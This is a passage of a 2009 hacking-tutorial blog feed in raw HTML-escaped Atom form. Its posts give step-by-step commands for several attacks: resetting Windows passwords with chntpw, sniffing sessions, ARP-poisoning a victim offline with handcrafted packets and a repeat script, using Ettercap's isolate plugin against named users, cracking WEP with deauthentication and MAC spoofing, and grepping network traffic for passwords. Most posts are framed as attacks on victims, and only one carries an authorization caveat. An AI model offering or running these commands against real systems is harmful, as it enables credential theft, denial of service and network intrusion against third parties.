&amp;amp;&amp;amp; cp system system.bak&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Run chntpw in interactive mode with the SAM, system and security file as arguments.&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# chntpw -i SAM security system&lt;/span&gt;&lt;/li&gt;&lt;li&gt;You should be presented with an interactive screen where you can list the local users and change or reset their passwords.&lt;br /&gt;NOTE: It is known that changing the user's passwords here are less reliable to work  than actually just resetting/blanking their passwords. I would suggest to just blank the passwords if applicable then when you get into windows, change the passwords their. Use an "*" to Blank passwords in the interactive screens in chntpw.&lt;/li&gt;&lt;li&gt;Remember to save your changes before you exit.&lt;/li&gt;&lt;li&gt;Reebot computer and login to windows to see if your hack worked (more than likely it did) &lt;/li&gt;&lt;/ol&gt;For more chntpw options (although you probably wont need nothing else), type:&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# chntpw -h&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;#chntpw help and usage &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;chntpw version 0.99.3 040818, (c) Petter N Hagen&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;chntpw: change password of a user in a NT SAM file, or invoke registry editor.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;chntpw [OPTIONS] &lt;samfile&gt; [systemfile] [securityfile] [otherreghive] [...]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt; -h          This message&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt; -u &lt;user&gt;   Username to change, Administrator is default&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt; -l          list all users in SAM file&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt; -i          Interactive. List users (as -l) then ask for username to change&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt; -e          Registry editor. Now with full write support!&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt; -d          Enter buffer debugger instead (hex editor), &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt; -t          Trace. Show hexdump of structs/segments. (deprecated debug function)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt; -v          Be a little more verbose (for debuging)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt; -L          Write names of changed files to /tmp/changed&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt; -N          No allocation mode. Only (old style) same length overwrites possible&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;See readme file on how to extract/read/write the NT's SAM file&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;if it's on an NTFS partition!&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;Source/binary freely distributable. See README/COPYING for details&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;NOTE: This program is somewhat hackish! You are on your own!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Resources/Good reading:&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;http://home.eunet.no/~pnordahl/ntpasswd/index.html&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;http://linuxbasement.com/content/changing-nt-passwords-with-linux-and-chntpw&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;http://rhadimas.wordpress.com/2006/10/15/reset-windows-password-w-knoppix/&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-4528549642501702189?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/4528549642501702189/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2009/12/another-example-where-physical-access.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/4528549642501702189'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/4528549642501702189'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2009/12/another-example-where-physical-access.html' title='Another example where physical access always gets you in (using chntpw)'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-5159868198523221441</id><published>2009-12-02T12:45:00.000-08:00</published><updated>2009-12-02T12:56:34.019-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sniffit'/><title type='text'>Sniffit, packet sniffer and monitoring tool</title><content type='html'>Sniffit is a nice little sniffer that gives you the ability to zoom in on already established connections and view the data. Its mainly useful in MITM situations. Picture being in the middle of a telnet session or in the middle of a netcat chat. With sniffit, you can watch the communications going back and forth and possible gaain the knowledge of confidential info.&lt;br /&gt;&lt;br /&gt;To run sniffit:&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# sniffit -i -F eth0&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;//opens up sniffit in [-i]nteractive mode and [-F]orces the program to listen on the specified interface&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;To listening in (zoom into) a connection just hit the Enter key. To get out of it, hit the "q" key. For some useful satatistics hit the "n" key. to completly close out of the program hit the "q" key again.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-5159868198523221441?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/5159868198523221441/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2009/12/sniffit-paclet-sniffer-and-monitoring.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/5159868198523221441'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/5159868198523221441'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2009/12/sniffit-paclet-sniffer-and-monitoring.html' title='Sniffit, packet sniffer and monitoring tool'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-5547912742363956557</id><published>2009-12-01T09:25:00.000-08:00</published><updated>2010-04-19T12:52:45.881-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='steganography'/><category scheme='http://www.blogger.com/atom/ns#' term='steghide'/><title type='text'>Steganography (using steghide)</title><content type='html'>Steganography is the ability to hide data in plain site. Hidden messages are hidden in such a way that no one other than the sender and the intended recipient should be aware of its existence. What that means is the picture that someone may have sent to you and a few other people could possible contain a hidden message and possibly only one or two of the recipients may know of its existence.&lt;br /&gt;&lt;br /&gt;Steghide is a steganography program that has the ability to hide data in various image and audio file formats. The embeded data can be compressed and encrypted. Some supported file formats are JPEG, BMP, WAV and AU. There are no restrictions on the format of what the secret data should be. It runs on both Windows and linux OS's&lt;br /&gt;&lt;br /&gt;Demo:&lt;br /&gt;Create a text file and type something in it that you wish to hide[name it &lt;span style="color: rgb(255, 102, 0);"&gt;confidential.txt&lt;/span&gt;].&lt;br /&gt;&lt;br /&gt;Next, locate a jpg or bmp file that you would like to use as the cover file to hide the text file into.&lt;br /&gt;When you get your image file run this command to test its storage capacity:&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# steghide info image_file.jpg&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Next lets embed our confidental.txt in the image file. By default, the embeded data would be encrypted with rijindale(aes - 128 bit) encryption in cbc mode. Note you would have to enter a password.&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# steghide embed -cf image_file.jpg -ef confidential.txt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;To extract the file run the following command then enter the password:&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# steghide extract -sf image_file.jpg&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Thats all to it.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;[options]&lt;/span&gt;&lt;br /&gt;"-cf": cover file to use&lt;br /&gt;"-ef": file we want to hide&lt;br /&gt;"-sf": this is the name of the stego file that we have created&lt;br /&gt;"-e": specify encryptionto use if the default doesnt suit you.&lt;br /&gt;&lt;br /&gt;To find out about the other encryption algorithms that you can use type:&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# steghide encinfo&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Resources/Good reading:&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;http://steghide.sourceforge.net/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;http://en.wikipedia.org/wiki/Steganography&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;http://linux.die.net/man/1/steghide&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-5547912742363956557?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/5547912742363956557/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2009/12/steganography-using-steghide.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/5547912742363956557'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/5547912742363956557'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2009/12/steganography-using-steghide.html' title='Steganography (using steghide)'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-823428622573382585</id><published>2009-11-30T16:40:00.000-08:00</published><updated>2009-11-30T18:18:36.638-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hexedit'/><category scheme='http://www.blogger.com/atom/ns#' term='File2cable'/><title type='text'>Manually modifying a Network packet, the way the pro's do it</title><content type='html'>In my previous post, i spoke about using ettercap and and a plugin "Isolate", to take down a host on a network. It poisons the arp cache of the victim's machine into linking its own mac address to the router's/gateway's IP address, thus achieving a complete denial of service (google:DOS attact). In this post, im gonna be discussing how you can perform such an attack using a more manual method, manually constructing the malicious packet.&lt;br /&gt;&lt;br /&gt;File2cable is a simple program that sends a file as a raw ethernet frame over a specified interface.&lt;br /&gt;&lt;br /&gt;Hexedit is a simple hex editor for unix machines.&lt;br /&gt;&lt;br /&gt;In this demo, we are going to isolate a host,just like we did with ettercap and it's Isolate plugging.&lt;br /&gt;&lt;br /&gt;The first thing that you want to do is to use wireshark and capture a "ARP reply" packet. When you got that packet (to use as a prototype), export that frame/packet bytes to a file (for this example, ill name the file "arp_reply"). Open the file with hexedit (&lt;span style="color: rgb(255, 0, 0);"&gt;# hexedit -b arp_reply&lt;/span&gt;). Now, the idea behind modifying the packet is knowing what to change. You want to have wireshark and hexedit opened side by side so you are watching both screens. In wireshark pay attention to the hexdump frame at the bottom While doing that, in the frame above that select the layer 2 frame(Ethernet II) and notice that a certain amount of bytes are selected in the hexdump below. The selected bytes are a representation of the ethernet frame. Now within that ethernet frame, break it down to tree view and select destination. Notice the selection in the hexdump now. Anything familiar about the hex bytes selected? Its the destination mac address. Now you can select other items in the Ethernet frame II portion and notice the different hex representations for your selections. Now we can change these things using hexedit. We use wireshark as a reference so we know which hex bytes to change in hexedit. This is the main idea of manually altering a packet.&lt;br /&gt;&lt;br /&gt;Now im going to tell you everything that you need to change using hexedit. Please note that we are in the hex realm of things, the changes you are going to make are gonna be the hex representations of certain values(Note that the mac address is already in HEX, so no conversion necessary)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 102, 0);"&gt;[Ethernet II]&lt;/span&gt;&lt;br /&gt;Destination: Set this to the mac address of the target host (victim who's arp table we are going to poison)&lt;br /&gt;Source: Set this to your network interface's mac address (put the real thing otherwise it wont work)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 102, 0);"&gt;[ARP]&lt;/span&gt;&lt;br /&gt;Sender MAC address: You must set this to the target host's own mac address (we poison his cache here)&lt;br /&gt;Sender IP address: We set this to the router/gateway's IP address in hex of course&lt;br /&gt;Target MAC address: We set this to the targets mac&lt;br /&gt;Target IP address: we set this to the targets IP address&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Press ctrl+x then hit the enter key, to exit and save the packet you just modified. Now to test this attack, on your victims machine, pull up a command prompt and check your arp cache (&lt;span style="color: rgb(255, 102, 0);"&gt;arp -a&lt;/span&gt;). Make a note of your routers ip to mac address mapping. Next send our packet/file onto the wire/network with file2cable, which can also be used in wireless networks as well (&lt;span style="color: rgb(255, 0, 0);"&gt;# file2cable -i eth0 -f arp_replay&lt;/span&gt;). Now go check the arp cache on the victims machine. See the difference? If you try browsing to websites and things dont work, then it worked and this machine has been taken down.&lt;br /&gt;&lt;br /&gt;Since a computer's arp cache normally refreshes around every 5 minutes, our attack wont be very long term. What we can do is right a script that would send our malicious packet ever few seconds. We use secounds instead of minutes because the router can send a arp request to the victim and when the victim reponds accordingly, the victim naturally will learn the mac to ip mappings of the arp requester. We can write a script as follows:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;#!/bin/bash&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;while[1];do&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;file2cable -i eth0 -f arp_reply&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;sleep 10&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;done&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The above script will loop the file2cable commands every 10 seconds.&lt;br /&gt;&lt;br /&gt;Here is a quick visual from an arp cache poisoning attack using hexedit and wireshark to capture and modify an arp packet: &lt;span style="color: rgb(51, 255, 255);"&gt;http://www.docstoc.com/docs/9852261/ARP-Spoofing-Tutorial.&lt;/span&gt;&lt;br /&gt;It should give you an idea visually what you have to do/change when using wireshark and hexedit in conjunction. However, please note that they are performing a different attack from what i demonstrated here. If you think you have my example convered, try their example next and get a good feel for things.&lt;br /&gt;&lt;br /&gt;Resources/Good reading:&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;http://www.docstoc.com/docs/9852261/ARP-Spoofing-Tutorial&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-823428622573382585?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/823428622573382585/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2009/11/manually-modifying-network-packet-way.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/823428622573382585'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/823428622573382585'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2009/11/manually-modifying-network-packet-way.html' title='Manually modifying a Network packet, the way the pro&apos;s do it'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-6042123952686019790</id><published>2009-11-30T15:49:00.001-08:00</published><updated>2009-11-30T16:06:17.207-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='isolate'/><category scheme='http://www.blogger.com/atom/ns#' term='Ettercap'/><title type='text'>Take down any host on a network using Ettercap's plugin Isolate</title><content type='html'>Ettercap is a very popular password sniffer and packet analyzer. It comes pre-built with many plugins, including isolate in which im gonna briefly discuss here. This plugging allows you to literally take down a host on a network. For example, if you find out that you have a user using the internet for malicious purposes, why not just take him out? The theory behind this attack lies around poisoning the users arp cache. Since a computer on your LAN that communicates on the interenet relies on knowing what the mac address of the gateway or router is, it wont be hard to imagine what would happen if we tell your machine that in order to get to internet,  send all packets to another mac address. More interestingly, say the router's ip address is 192.168.1.1, if we poison the arp cache of a machine to link the routers address or 192.168.1.1 to that computer's own mac address what would result is a complete denial of service. Whenever that users machine tries communicate on the web, all his packets would be send to his own mac address. Talk about a state of confusion&lt;br /&gt;&lt;br /&gt;This attack may take up to 5 mins to work. It relies on the arp cache entry to time out before it needs to refresh it self.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# ettercap -Tq -i eth0 -P isolate /192.168.1.103/ //&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The above command would complete take the host 192.168.1.103 down. You can run &lt;span style="color: rgb(255, 102, 0);"&gt;ipconfig /all&lt;/span&gt; on you windows machine and &lt;span style="color: rgb(255, 102, 0);"&gt;arp -a&lt;/span&gt;, then compare the mac address. If they are the same, then you just pwned that machine. Now you can tell those pesky torrent whores just before you take them down, "Say hello to my lil friend.....".....Isolate.&lt;br /&gt;&lt;br /&gt;Resources/Good reading:&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;http://wcosughacking.blogspot.com/2008/07/isolate-ip.html&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-6042123952686019790?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/6042123952686019790/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2009/11/take-down-any-host-on-network-using.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/6042123952686019790'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/6042123952686019790'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2009/11/take-down-any-host-on-network-using.html' title='Take down any host on a network using Ettercap&apos;s plugin Isolate'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-5697759725536897016</id><published>2009-11-30T08:12:00.000-08:00</published><updated>2010-05-21T06:43:20.182-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='WEP'/><category scheme='http://www.blogger.com/atom/ns#' term='aircrack-ng'/><title type='text'>Cracking WEP with aircrack-ng ( cheat sheet)</title><content type='html'>We all should by now be aware of the famous insecurities of the wireless encryption WEP. Because of its implimentation of weak IVs (initialization vectors) in the packets, it becomes quite easy to guess certain packets (arp broadcast for example). The idea behind the attack is to capture enough packets so a program like aircrack can perform some analysis on the capture IVs and hence derive what the WEP key should be. We would be using the aircrack-ng suite of tools to crack us some WEP. Please perform this attack on your own network. This should be used only to audit the security of your own network or neworks to whom you have the right permissions to audit.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;[Cheat sheet] &lt;/span&gt;using Bactrack4:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# ifconfig wlan0 down&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;//bring down the wireless interface&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# macchanger -r wlan0&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;//change your mac address to a random fake one&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# ifconfig wlan0 up&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;//bring back up the wireless intereface&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# airmon-ng start wlan0&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;//create an interface that listens on monitor mode&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# airodump-ng mon0&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;//analyze the air for potential WEP targets&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# airodump-ng --bssid "mac_address_of_targetAP" --channel "channel_of_tacgetAP" -w wep.pcap mon0&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;//start capturing packets of your intended victim&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# aireplay-ng -a "mac_address_of_targetAP" -e "ssid_of_targetAP" --fakeauth 0 mon0&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;//perform a fake authentication to access point&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# aireplay-ng -a "mac_address_of_targetAP" -e "ssid_of_targetAP" --deauth 10 -c "Connected_client_mac_address" mon0&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;//Send deauth packets to disconnect a client from the target access point&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# aireplay-ng -a "mac_address_of_targetAP" -e "ssid_of_targetAP" -3 mon0&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;//perform arp replay attack to speed up the data retrieval process&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;#aircrack-ng -b "mac_address_of_targetAP" -P 2 wep.pcap-01.pcap&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;//when there is enough packets (10000 or more) use aircrack this way to attemp to crack the WEP key&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Thats it ...&lt;br /&gt;Please use google to find out more information about the insecurities of WEP.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-5697759725536897016?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/5697759725536897016/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2009/11/cracking-wep-with-aircrack-ng-cheat.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/5697759725536897016'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/5697759725536897016'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2009/11/cracking-wep-with-aircrack-ng-cheat.html' title='Cracking WEP with aircrack-ng ( cheat sheet)'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-4014532046021926314</id><published>2009-11-28T11:20:00.000-08:00</published><updated>2009-11-28T12:11:42.228-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ngrep'/><title type='text'>Ngrep</title><content type='html'>Ngrep is a basic packet sniffer with its main feature being the ability to filter through network packets, searching(grep) for certain strings in the packets being sent over a network and display the matching string's packet content in a readable format. Think of it like unix's grep but done over network streams. Ngrep uses standard tcpdump filters, host 192.168.1.1, port 80, etc.&lt;br /&gt;&lt;br /&gt;Examples:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# ngrep -d eth0 port 80&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;// displays all port 80 traffic on interface eth0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# ngrep -d eth0 "google.ca" port 80&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;// parses through port 80 traffic data for string google.ca&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# ngrep -d eth0 "*.google.ca" port 80&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;// parses through port 80 traffic for *.google.ca, where the * can be anything.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;For better visual output add "&lt;span style="color: rgb(255, 102, 0);"&gt;-W byline&lt;/span&gt;" option&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# ngrep -d eth0 -W byline "msn.com" port 80&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;To search for more than one string&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# ngrep -d eth0 -W byline -i "pass|USER" -n 2 port 80&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;// searches for string 'pass' or 'USER'. "-i" ignores the case of pass or USER.&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;"-n 2" will match only 2(any number can be specified) packets total, then exit.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# ngrep -n 2 -q -d eth0 -W byline -wi "pass|USER" port 80&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;// searches for string 'pass' or 'USER'. "-i" ignores the case of pass or USER.&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;The "-w" tells ngrep to match the string as a word. "-q"&lt;/span&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;, quiet mode; don't output any information other than packet headers and their payloads (if relevant).&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The following can parse for logins to gain passwords:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# ngrep -d eth0 -W byline -i "pass|USER" port 80 |grep pass&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;More examples mimiced from: &lt;span style="color: rgb(51, 255, 255);"&gt;http://www.brandonhutchinson.com/ngrep.html&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Usage examples:&lt;br /&gt; &lt;span style="font-weight: bold;"&gt; ngrep '' udp&lt;/span&gt; (print all UDP packets)&lt;br /&gt; &lt;span style="font-weight: bold;"&gt; ngrep '' icmp&lt;/span&gt; (print all ICMP packets)&lt;br /&gt; &lt;span style="font-weight: bold;"&gt; ngrep '' port 53&lt;/span&gt; (print TCP or UDP port 53 packets)&lt;br /&gt; &lt;span style="font-weight: bold;"&gt; ngrep '' tcp port 23&lt;/span&gt; (print TCP port 23 packets)&lt;br /&gt; &lt;span style="font-weight: bold;"&gt; ngrep 'LILWORD' port 138&lt;/span&gt; (print Microsoft browsing traffic for NT domain LILWORLD)&lt;br /&gt; &lt;span style="font-weight: bold;"&gt; ngrep -iq 'rcpt to|mail from' tcp port 25&lt;/span&gt; (monitor current delivery and print sender and recipients)&lt;br /&gt; &lt;span style="font-weight: bold;"&gt; ngrep 'user' port 110&lt;/span&gt; (monitor POP3)&lt;br /&gt; &lt;span style="font-weight: bold;"&gt; ngrep -q 'abcd' icmp&lt;/span&gt; (Microsoft operating systems fill the ICMP payload with the alphabet; is the "pinging" host running a Microsoft operating system?)&lt;br /&gt; &lt;span style="font-weight: bold;"&gt; ngrep -iq 'user-agent' tcp port 80&lt;/span&gt; (determine client application that client host is running)&lt;br /&gt; &lt;span style="font-weight: bold;"&gt; ngrep '220' port 21&lt;/span&gt; (determine version of FTP server)&lt;br /&gt; &lt;span style="font-weight: bold;"&gt; ngrep 'SSH' port 22&lt;/span&gt; (investigate Secure Shell)&lt;br /&gt; &lt;span style="font-weight: bold;"&gt; ngrep -v '' port 23&lt;/span&gt; (see all traffic but telnet)&lt;br /&gt;&lt;br /&gt;Resources/Good reading:&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;http://ngrep.sourceforge.net/usage.html&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 